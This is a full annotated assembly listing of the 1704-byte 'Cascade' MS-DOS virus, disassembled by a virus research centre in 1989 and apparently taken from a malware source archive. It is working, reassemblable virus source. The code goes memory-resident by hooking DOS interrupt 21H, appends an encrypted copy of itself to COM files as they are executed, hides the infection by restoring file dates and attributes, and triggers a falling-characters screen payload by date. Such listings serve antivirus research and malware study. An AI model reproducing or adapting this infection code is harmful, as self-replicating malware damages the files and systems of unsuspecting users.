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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.1704.asm

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2021-01-12 23:29:01 +00:00
page 65,132
title The 'Cascade' Virus (1704 version)
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
; <20> British Computer Virus Research Centre <20>
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
; <20> <20>
; <20> The 'Cascade' Virus (1704 version) <20>
; <20> Disassembled by Joe Hirst, March 1989 <20>
; <20> <20>
; <20> Copyright (c) Joe Hirst 1989. <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
RAM SEGMENT AT 400H
; System data
ORG 4EH
BW044E DW ? ; VDU display start address
ORG 6CH
BW046C DW ? ; System clock
RAM ENDS
MCB SEGMENT AT 0 ; Memory control block references
MB0000 DB ? ; MCB signature
MW0001 DW ? ; MCB owner
MW0003 DW ? ; MCB size
MCB ENDS
OPROG SEGMENT AT 0 ; Original program references
ORG 100H
OW0100 DW ?
OB0102 DB ?
OPROG ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:OPROG
VIRLEN EQU OFFSET ENDADR-START
MAXLEN EQU OFFSET START-ENDADR-20H
JMPADR = OFFSET START-ENDADR-2
ORG 16H
DW0016 DW ? ; PSP parent ID
ORG 2CH
DW002C DW ? ; PSP environment
ORG 36H
DW0036 DW ? ; FHT segment
ORG 100H
START:
DB0100 DB 1 ; Encryption indicator
; Virus entry point
ENTRY: CLI
MOV BP,SP ; Save stack pointer
CALL BP0010 ; \ Get address of BP0010
BP0010: POP BX ; /
SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg
TEST DB0100[BX+2AH],1 ; Is virus encrypted
JZ BP0030 ; Branch if not
LEA SI,BP0030[BX+2AH] ; Address start of encrypted area
MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area
BP0020: XOR [SI],SI ; \ Decrypt
XOR [SI],SP ; /
INC SI ; \ Next address
DEC SP ; /
JNZ BP0020 ; Repeat for all area
BP0030: MOV SP,BP ; Restore stack pointer
JMP BP0040 ; Branch past data
; Data
PROGRM EQU THIS DWORD
PRG_OF DW 100H ; Original program offset
PRG_SGIDW 1021H ; Original program segment
INITAX DW 0 ; Initial AX value
PROG_1 DW 2DE9H ; \ First three bytes of program
PROG_2 DB 0DH ; /
DB 0, 0
I1CBIO EQU THIS DWORD
I1C_OF DW 0FF53H ; Interrupt 1CH offset
I1C_SG DW 0F000H ; Interrupt 1CH segment
I21BIO EQU THIS DWORD
I21_OF DW 1460H ; Interrupt 21H offset
I21_SG DW 026AH ; Interrupt 21H segment
I28BIO EQU THIS DWORD
I28_OF DW 1445H ; Interrupt 28H offset
I28_SG DW 0270H ; Interrupt 28H segment
DW 0 ; - not referenced
F_ATTR DW 0 ; File attributes
F_DATE DW 0E71H ; File date
F_TIME DW 601FH ; File time
F_PATH EQU THIS DWORD
PATHOF DW 044EH ; File pathname offset
PATHSG DW 20FFH ; File pathname segment
F_SIZ1 DW 62DBH ; File size - low word
F_SIZ2 DW 0 ; File size - high word
JUMP_1 DB 0E9H ; \ Jump instruction
JUMP_2 DW 1D64H ; /
NUMCOL DB 0 ; Number of display columns
NUMROW DB 0 ; Number of display rows
C80_SW DB 0 ; 80 column text switch
CURCHA DB 0 ; Current character
CURATT DB 0 ; Current attributes
SWITCH DB 8 ; Switches
; 01 Int 1CH active
; 02 Switch 2
; 04 Switch 3 - not used
; 08 No display
RAM_SG DW 0 ; Video RAM segment
VDURAM DW 0 ; VDU display start address
LOOPCT DW 04F8H ; Timed loop count
I1CCNT DW 0FDAH ; Int 1CH count
I1CMAX DW 0FDAH ; Int 1CH random number maximum
NUMPOS DW 0 ; Number of display positions
RANPOS DW 1 ; Number of lines to affect
RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H
; Main program start
BP0040: CALL BP0050 ; \ Get address of BP0050
BP0050: POP BX ; /
SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg
MOV PRG_SG[BX+2AH],CS ; Save original program segment
MOV INITAX[BX+2AH],AX ; Save initial AX value
MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program
MOV OW0100,AX ; Replace them
MOV AL,PROG_2[BX+2AH] ; Get third byte of program
MOV OB0102,AL ; Replace it
PUSH BX
MOV AH,30H ; Get DOS version number function
INT 21H ; DOS service
POP BX
CMP AL,2 ; Version 2.X or above?
JB BP0060 ; Branch if not
MOV AX,4BFFH ; Is virus active function
XOR DI,DI ; Clear register
XOR SI,SI ; Clear register
INT 21H ; DOS service
CMP DI,55AAH ; Is virus already active
JNE BP0070 ; Branch if not
BP0060: STI
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV AX,INITAX[BX+2AH] ; Restore initial AX value
JMP PROGRM[BX+2AH] ; Branch to original program
BP0070: PUSH BX
MOV AX,3521H ; Get interrupt 21H function
INT 21H ; DOS service
MOV AX,BX ; Move interrupt 21H offset
POP BX
MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset
MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment
MOV AX,0F000H ; \
MOV ES,AX ; ) Address BIOS
MOV DI,0E008H ; /
CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS
JNE BP0080 ; /
CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS
JE BP0060 ; /
; Install virus
ASSUME ES:MCB,DS:NOTHING
BP0080: MOV AX,007BH ; Load size of virus in paragraphs
MOV BP,CS ; Get current segment
DEC BP ; \ Address back to MCB
MOV ES,BP ; /
MOV SI,DW0016 ; Get parent ID
MOV MW0001,SI ; Store as owner in MCB
MOV DX,MW0003 ; Get MCB size
MOV MW0003,AX ; Store virus size
MOV MB0000,4DH ; Store MCB identification
SUB DX,AX ; Subtract virus from original size
DEC DX ;
INC BP ; Forward from MCB
ADD BP,AX ; Add size of virus
INC BP ; And of another MCB
MOV ES,BP ; Address new PSP segment
PUSH BX
MOV AH,50H ; Set current PSP function
MOV BX,BP ; New PSP segment
INT 21H ; DOS service
POP BX
XOR DI,DI ; Clear register
PUSH ES ; \ Set stack segment to new PSP
POP SS ; /
PUSH DI
LEA DI,CPY040[BX+2AH] ; Address end of virus
MOV SI,DI ; And for source
MOV CX,VIRLEN ; Get length of virus
STD ; Going downwards
REPZ MOVSB ; Copy virus
PUSH ES ; Push new segment
LEA CX,BP0090[BX+2AH] ; \ And next instruction
PUSH CX ; /
RETF ; ... and load them
; Now running in virus at end of new program segment
BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address
LEA CX,DB0100[BX+2AH] ; Get length of original program
REPZ MOVSB ; Copy original program to new PSP
MOV DW0036,CS ; New segment in handle table address
DEC BP ; \ Address back to MCB
MOV ES,BP ; /
MOV MW0003,DX ; Store original program size
MOV MB0000,5AH ; Store MCB ident (last)
MOV MW0001,CS ; Store CS as owner in MCB
INC BP ; \ Forward again to PSP
MOV ES,BP ; /
PUSH DS ; \ Set ES to DS
POP ES ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
LEA SI,DB0100[BX+2AH] ; Address start of virus
MOV DI,OFFSET DB0100 ; Start of program area in first area
MOV CX,VIRLEN ; Get length of virus
CLD ; Copy forwards
REPZ MOVSB ; Copy virus to start of first area
PUSH ES ; Push segment of first area
LEA AX,BP0100 ; \ Offset of next instruction
PUSH AX ; /
RETF ; ... and load them
; Now running in installed virus, first area
ASSUME ES:NOTHING
BP0100: MOV DW002C,0 ; No environment pointer
MOV DW0016,CS ; Is its own parent
PUSH DS
LEA DX,INT_21 ; Interrupt 21H routine
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV AX,2521H ; Set interrupt 21H function
INT 21H ; DOS service
POP DS
MOV AH,1AH ; Set DTA function
MOV DX,0080H ; DTA address
INT 21H ; DOS service
CALL GETCLK ; Copy system clock
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Year 1988?
JA BP0130 ; Branch if after 1988
JE BP0110 ; Branch if 1988
CMP CX,07BCH ; Year 1980?
JNE BP0130 ; Branch if not
PUSH DS
MOV AX,3528H ; Get interrupt 28H function
INT 21H ; DOS service
MOV I28_OF,BX ; Save interrupt 28H offset
MOV I28_SG,ES ; Save interrupt 28H segment
MOV AX,2528H ; Set interrupt 28H function
MOV DX,OFFSET INT_28 ; Int 28H routine address
PUSH CS ; \ Set DS to CS
POP DS ; /
INT 21H ; DOS service
POP DS
OR SWITCH,8 ; Set on No display switch
JMP BP0120
; Year is 1988
BP0110: CMP DH,0AH ; October?
JB BP0130 ; Branch if not
BP0120: CALL TIMCYC ; Time one clock cycle
MOV AX,1518H ; Upper limit - 5400
CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV I1CCNT,AX ; Set Int 1CH count
MOV I1CMAX,AX ; Set Int 1CH random no maximum
MOV RANPOS,1 ; Set num of lines to affect to 1
MOV AX,351CH ; Get interrupt 1CH function
INT 21H ; DOS service
MOV I1C_OF,BX ; Save interrupt 1CH offset
MOV I1C_SG,ES ; Save interrupt 1CH segment
PUSH DS
MOV AX,251CH ; Set interrupt 1CH function
MOV DX,OFFSET INT_1C ; Int 1CH routine address
PUSH CS ; \ Set DS to CS
POP DS ; /
INT 21H ; DOS service
POP DS
BP0130: MOV BX,-2AH ; Set up relocation register
JMP BP0060 ; Branch to start program
; Interrupt 21H routine
INT_21: CMP AH,4BH ; Load function?
JE I_2106 ; Branch if yes
I_2102: JMP I21BIO ; Branch to original int 21H
; Virus call
I_2104: MOV DI,55AAH ; Virus call - signal back
LES AX,I21BIO ; Load return address
MOV DX,CS ; Load segment
IRET
; Load and execute function
I_2106: CMP AL,0FFH ; Is this a virus call?
JE I_2104 ; Branch if yes
CMP AL,0 ; Load and execute?
JNE I_2102 ; Branch if not
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH ES
PUSH DS
MOV PATHOF,DX ; Save pathname offset
MOV PATHSG,DS ; Save pathname segment
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,3D00H ; Open handle function
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV BX,AX ; Move file handle
MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
MOV F_DATE,DX ; Save file date
MOV F_TIME,CX ; Save file time
MOV AH,3FH ; Read handle function
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV DX,OFFSET PROG_1 ; \ First three bytes of program
MOV CX,3 ; /
INT 21H ; DOS service
JB I_2110 ; Branch if error
CMP AX,CX ; Correct length read?
JNE I_2110 ; Branch if error
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV F_SIZ1,AX ; File size - low word
MOV F_SIZ2,DX ; File size - high word
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CMP PROG_1,5A4DH ; Is it an EXE file?
JNE I_2108 ; Branch if not
JMP I_2124 ; Dont infect
I_2108: CMP F_SIZ2,0 ; File size - high word
JA I_2110 ; Branch if file too big
CMP F_SIZ1,MAXLEN ; Maximum file size?
JBE I_2112 ; Branch if file not too big
I_2110: JMP I_2124 ; Dont infect
I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch
JNE I_2114 ; Branch if not
MOV AX,F_SIZ1 ; Get file size - low word
ADD AX,WORD PTR JMPADR ; Convert to infected offset
CMP AX,PROG_1+1 ; Is it the same
JE I_2110 ; Branch if already infected
I_2114: MOV AX,4300H ; Get file attributes function
LDS DX,F_PATH ; Pathname pointer
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV F_ATTR,CX ; Save file attributes
XOR CL,20H ; Change archive bit
TEST CL,27H ; Are there any attributes to change
JZ I_2116 ; Branch if not
MOV AX,4301H ; Set file attributes function
XOR CX,CX ; No attributes
INT 21H ; DOS service
JB I_2110 ; Branch if error
I_2116: MOV AX,3D02H ; Open handle (R/W) function
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV BX,AX ; Move file handle
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
CALL CPYVIR ; Copy virus to program
JNB I_2118 ; Branch if no error
MOV AX,4200H ; Move file pointer (Start) function
MOV CX,F_SIZ2 ; File size - high word
MOV DX,F_SIZ1 ; File size - low word
INT 21H ; DOS service
MOV AH,40H ; Write handle function
XOR CX,CX ; Zero length (reset length}
INT 21H ; DOS service
JMP I_2120 ; Reset file details
I_2118: MOV AX,4200H ; Move file pointer (Start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
JB I_2120 ; Branch if error
MOV AX,F_SIZ1 ; Get file size - low word
ADD AX,0FFFEH ; Convert to jump offset
MOV JUMP_2,AX ; Store in jump instruction
MOV AH,40H ; Write handle function
MOV DX,OFFSET JUMP_1 ; Address to jump instruction
MOV CX,3 ; Length of jump instruction
INT 21H ; DOS service
I_2120: MOV AX,5701H ; Set file date and time function
MOV DX,F_DATE ; Get old file date
MOV CX,F_TIME ; Get old file time
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
MOV CX,F_ATTR ; Get old file attributes
TEST CL,7 ; System, read only or hidden?
JNZ I_2122 ; Branch if yes
TEST CL,20H ; Archive?
JNZ I_2124 ; Branch if yes
I_2122: MOV AX,4301H ; Set file attributes function
LDS DX,F_PATH ; Pathname pointer
INT 21H ; DOS service
I_2124: POP DS
POP ES
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP I_2102 ; Original interrupt 21H
; Create random number
RNDNUM: PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH BX
PUSH CX
PUSH DX
PUSH AX ; Save multiplier
MOV CX,7 ; Seven words to move
MOV BX,OFFSET RANDOM+14 ; Last word of randomiser
PUSH [BX] ; Save last word
RND010: MOV AX,[BX-2] ; Get previous word
ADC [BX],AX ; Add to current word
DEC BX ; \ Address previous word
DEC BX ; /
LOOP RND010 ; Repeat for each word
POP AX ; Retrieve last word
ADC [BX],AX ; Add to first word
MOV DX,[BX] ; Get result
POP AX ; Recover multiplier
OR AX,AX ; Is there a multiplier?
JZ RND020 ; Branch if not
MUL DX ; Multiply random number
RND020: MOV AX,DX ; Move result
POP DX
POP CX
POP BX
POP DS
RET
; Copy system clock
GETCLK: PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CX
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV CX,0040H ; \ Set DS to system RAM
MOV DS,CX ; /
MOV DI,OFFSET RANDOM ; Randomizer work area
MOV SI,006CH ; Address system clock
MOV CX,8 ; Eight bytes to copy
CLD
REPZ MOVSW ; Copy system clock
POP CX
POP DI
POP SI
POP ES
POP DS
RET
; Get character and attributes
ASSUME DS:CODE
GETCHA: PUSH SI
PUSH DS
PUSH DX
MOV AL,DH ; Get row number
MUL NUMCOL ; Number of visible columns
MOV DH,0 ; Clear top of register
ADD AX,DX ; Add column number
SHL AX,1 ; Multiply by two
ADD AX,VDURAM ; Add VDU display start address
MOV SI,AX ; Move character pointer
TEST C80_SW,0FFH ; Test 80 column text switch
MOV DS,RAM_SG ; Video RAM segment
JZ GTC030 ; Branch if switch off
MOV DX,03DAH ; VDU status register
CLI
GTC010: IN AL,DX ; Get VDU status
TEST AL,8 ; Is it frame flyback time
JNZ GTC030 ; Branch if yes
TEST AL,1 ; Test toggle bit
JNZ GTC010 ; Branch if on
GTC020: IN AL,DX ; Get VDU status
TEST AL,1 ; Test toggle bit
JZ GTC020 ; Branch if off
GTC030: LODSW ; Load character and attribute
STI
POP DX
POP DS
POP SI
RET
; Store character and attributes
STOCHA: PUSH DI
PUSH ES
PUSH DX
PUSH BX
MOV BX,AX
MOV AL,DH ; Get row number
MUL NUMCOL ; Number of visible columns
MOV DH,0 ; Clear top of register
ADD AX,DX ; Add column number
SHL AX,1 ; Multiply by two
ADD AX,VDURAM ; Add VDU display start address
MOV DI,AX ; Move character pointer
TEST C80_SW,0FFH ; Test 80 column text switch
MOV ES,RAM_SG ; Video RAM segment
JZ STO030 ; Branch if switch off
MOV DX,03DAH ; VDU status register
CLI
STO010: IN AL,DX ; Get VDU status
TEST AL,8 ; Is it frame flyback time
JNZ STO030 ; Branch if yes
TEST AL,1 ; Test toggle bit
JNZ STO010 ; Branch if on
STO020: IN AL,DX ; Get VDU status
TEST AL,1 ; Test toggle bit
JZ STO020 ; Branch if off
STO030: MOV AX,BX
STOSB ; Store character and attribute
STI
POP BX
POP DX
POP ES
POP DI
RET
; Delay loop
DELAY: PUSH CX
DEL010: PUSH CX
MOV CX,LOOPCT ; Get timed loop count
DEL020: LOOP DEL020
POP CX
LOOP DEL010
POP CX
RET
; Toggle speaker drive
CH_SND: PUSH AX
IN AL,61H ; Get port B
XOR AL,2 ; Toggle speaker drive
AND AL,0FEH ; Switch off speaker modulate
OUT 61H,AL ; Rewrite port B
POP AX
RET
; Is character 0, 32 or 255?
IGNORE: CMP AL,0 ; Is it a zero?
JE IGN010 ; Branch if yes
CMP AL,20H ; Is it a space?
JE IGN010 ; Branch if yes
CMP AL,0FFH ; Is it FF?
JE IGN010 ; Branch if yes
CLC
RET
IGN010: STC
RET
; Graphic display character
GRAPHD: CMP AL,0B0H ; Is it below 176?
JB GRA010 ; Branch if yes
CMP AL,0DFH ; Is it above 223?
JA GRA010 ; Branch if yes
STC
RET
GRA010: CLC
RET
; Time one clock cycle
TIMCYC: PUSH DS
MOV AX,0040H ; \ Set DS to system RAM
MOV DS,AX ; /
STI
ASSUME DS:RAM
MOV AX,BW046C ; Get low word of system clock
TIM010: CMP AX,BW046C ; Has clock changed?
JE TIM010 ; Branch if not
XOR CX,CX ; Clear register
MOV AX,BW046C ; Get low word of system clock
TIM020: INC CX ; Increment count
JZ TIM040 ; Branch if now zero
CMP AX,BW046C ; Has clock changed?
JE TIM020 ; Branch if not
TIM030: POP DS
ASSUME DS:NOTHING
MOV AX,CX ; Transfer count
XOR DX,DX ; Clear register
MOV CX,000FH ; \ Divide by 15
DIV CX ; /
MOV LOOPCT,AX ; Save timed loop count
RET
TIM040: DEC CX ; Set to minus one
JMP SHORT TIM030
; Cascade display routine
ASSUME DS:CODE
DISPLY: MOV NUMROW,18H ; Number of display rows
PUSH DS
MOV AX,0040H ; \ Set DS to system RAM
MOV DS,AX ; /
ASSUME DS:RAM
MOV AX,BW044E ; VDU display start address
POP DS
ASSUME DS:CODE
MOV VDURAM,AX ; Save VDU display start address
MOV DL,0FFH
MOV AX,1130H ; Get character generator information
MOV BH,0 ; Int 1FH vector
PUSH ES
PUSH BP
INT 10H ; VDU I/O
POP BP
POP ES
CMP DL,0FFH ; Is register unchanged?
JE DSP010 ; Branch if yes
MOV NUMROW,DL ; Number of display rows (EGA)
DSP010: MOV AH,0FH ; Get VDU parameters
INT 10H ; VDU I/O
MOV NUMCOL,AH ; Save number of columns
MOV C80_SW,0 ; Set off 80 column text switch
MOV RAM_SG,0B000H ; Video RAM segment - Mono
CMP AL,7 ; Mode 7?
JE DSP040 ; Branch if yes
JB DSP020 ; Branch if less
JMP DSP130 ; Switch off speaker and return
DSP020: MOV RAM_SG,0B800H ; Video RAM segment
CMP AL,3 ; Display mode 3?
JA DSP040 ; Branch if above
CMP AL,2 ; Display mode 2?
JB DSP040 ; Branch if below
MOV C80_SW,1 ; Set on 80 column text switch
MOV AL,NUMROW ; Number of display rows
INC AL ; Number, not offset
MUL NUMCOL ; Number of visible columns
MOV NUMPOS,AX ; Save number of display positions
MOV AX,RANPOS ; Get number of lines to affect
CMP AX,NUMPOS ; Number of display positions
JBE DSP030 ; Branch if within range
MOV AX,NUMPOS ; Get number of display positions
DSP030: CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV SI,AX ; Use as count
DSP040: XOR DI,DI ; Set second count to zero
DSP050: INC DI ; Increment second count
MOV AX,NUMPOS ; Get number of display positions
SHL AX,1 ; Multiply by two
CMP DI,AX ; Has second count reached this?
JBE DSP060 ; Branch if not
JMP DSP130 ; Switch off speaker and return
DSP060: OR SWITCH,2 ; Set on switch 2
MOV AL,NUMCOL ; \ Number of visible columns
MOV AH,0 ; / is upper limit
CALL RNDNUM ; Create random number
MOV DL,AL ; Random column number
MOV AL,NUMROW ; \ Number of display rows
MOV AH,0 ; / is upper limit
CALL RNDNUM ; Create random number
MOV DH,AL ; Random row number
CALL GETCHA ; Get character and attributes
CALL IGNORE ; Is character 0, 32 or 255?
JB DSP050 ; Branch if yes
CALL GRAPHD ; Is it a graphic display character
JB DSP050 ; Branch if yes
MOV CURCHA,AL ; Save current character
MOV CURATT,AH ; Save current attributes
MOV CL,NUMROW ; Number of display rows
MOV CH,0 ; Column zero
DSP070: INC DH ; Next row
CMP DH,NUMROW ; Was that the last row?
JA DSP110 ; Branch if yes
CALL GETCHA ; Get character and attributes
CMP AH,CURATT ; Are attributes the same?
JNE DSP110 ; Branch if not
CALL IGNORE ; Is character 0, 32 or 255?
JB DSP090 ; Branch if yes
DSP080: CALL GRAPHD ; Is it a graphic display character
JB DSP110 ; Branch if yes
INC DH ; Next row
CMP DH,NUMROW ; Was that the last row?
JA DSP110 ; Branch if yes
CALL GETCHA ; Get character and attributes
CMP AH,CURATT ; Are attributes the same?
JNE DSP110 ; Branch if not
CALL IGNORE ; Is character 0, 32 or 255?
JNB DSP080 ; Branch if not
CALL CH_SND ; Toggle speaker drive
DEC DH ; Previous row
CALL GETCHA ; Get character and attributes
MOV CURCHA,AL ; Save current character
INC DH ; Next row
DSP090: AND SWITCH,0FDH ; Set off switch 2
DEC DH ; Previous row
MOV AL,20H ; Replace character with space
CALL STOCHA ; Store character and attributes
INC DH ; Next row
MOV AL,CURCHA ; Get current character
CALL STOCHA ; Store character and attributes
JCXZ DSP100 ; Branch if end of count
CALL DELAY ; Delay loop
DEC CX ; Decrement count
DSP100: JMP SHORT DSP070
DSP110: TEST SWITCH,2 ; Test switch 2
JZ DSP120 ; Branch if off
JMP DSP050
DSP120: CALL CH_SND ; Toggle speaker drive
DEC SI ; Subtract from count
JZ DSP130 ; Switch off speaker and return
JMP DSP040
; Switch off speaker and return
DSP130: IN AL,61H ; Get port B
AND AL,0FCH ; Switch off speaker
OUT 61H,AL ; Rewrite port B+
RET
; Interrupt 1CH routine
ASSUME DS:NOTHING
INT_1C: TEST SWITCH,9 ; No display or already active?
JNZ I_1C40 ; Branch if either are on
OR SWITCH,1 ; Set on Int 1CH active switch
DEC I1CCNT ; Subtract from Int 1CH count
JNZ I_1C30 ; Branch if not zero
PUSH DS
PUSH ES
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
ASSUME DS:CODE
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
MOV AL,20H ; \ Signal end of interrupt
OUT 20H,AL ; /
MOV AX,I1CMAX ; Get Int 1CH random no maximum
CMP AX,0438H ; Is it 1080 or above
JNB I_1C10 ; Branch if yes
MOV AX,0438H ; Upper limit - 1080
I_1C10: CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV I1CCNT,AX ; Reset Int 1CH count
MOV I1CMAX,AX ; Reset Int 1CH random no maximum
CALL DISPLY ; Cascade display routine
MOV AX,3 ; Upper limit - 3
CALL RNDNUM ; Create random number
INC AX ; Add to random number
MUL RANPOS ; Multiply by num of lines to affect
JNB I_1C20 ; Is result more than a word?
MOV AX,-1 ; Set to maximum
I_1C20: MOV RANPOS,AX ; Save number of lines to affect
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
ASSUME DS:NOTHING
I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch
I_1C40: JMP I1CBIO ; Branch to original int 1CH
; Interrupt 28H routine
INT_28: TEST SWITCH,8 ; Test No display switch
JZ I_2830 ; Branch if not
PUSH AX
PUSH CX
PUSH DX
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Year 1988?
JB I_2820 ; Not yet - do nothing
JA I_2810 ; After 1988
CMP DH,0AH ; October?
JB I_2820 ; Not yet - do nothing
I_2810: AND SWITCH,0F7H ; Set off No display switch
I_2820: POP DX
POP CX
POP AX
I_2830: JMP I28BIO ; Branch to original int 28H
; Copy virus to program
CPYVIR: PUSH ES
PUSH BX
MOV AH,48H ; Allocate memory function
MOV BX,006BH ; Length of virus
INT 21H ; DOS service
POP BX
JNB CPY020 ; Branch if no error
CPY010: STC
POP ES
RET
CPY020: MOV DB0100,1 ; Set encryption indicator
MOV ES,AX ; Set target segment to allocated
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
XOR DI,DI ; Start of allocated
MOV SI,OFFSET DB0100 ; Start of virus
MOV CX,VIRLEN ; Length of virus
CLD
REPZ MOVSB ; Copy virus
MOV DI,0023H ; Start of area to encrypt
MOV SI,OFFSET BP0030 ; Address of area
ADD SI,F_SIZ1 ; Length of target file
MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt
CPY030: XOR ES:[DI],SI ; \ Encrypt
XOR ES:[DI],CX ; /
INC DI ; \ Next address
INC SI ; /
LOOP CPY030 ; Repeat for all area
MOV DS,AX ; Allocated area segment
MOV AH,40H ; Write handle function
XOR DX,DX ; From start
MOV CX,VIRLEN ; Length of virus
INT 21H ; DOS service
PUSHF
PUSH AX
MOV AH,49H ; Free allocated memory function
INT 21H ; DOS service
POP AX
POPF
PUSH CS ; \ Set DS to CS
POP DS ; /
JB CPY010 ; Branch if error
CMP AX,CX ; Correct length written?
JNE CPY010 ; Branch if error
POP ES
CLC
CPY040: RET
ENDADR EQU $
CODE ENDS
END START

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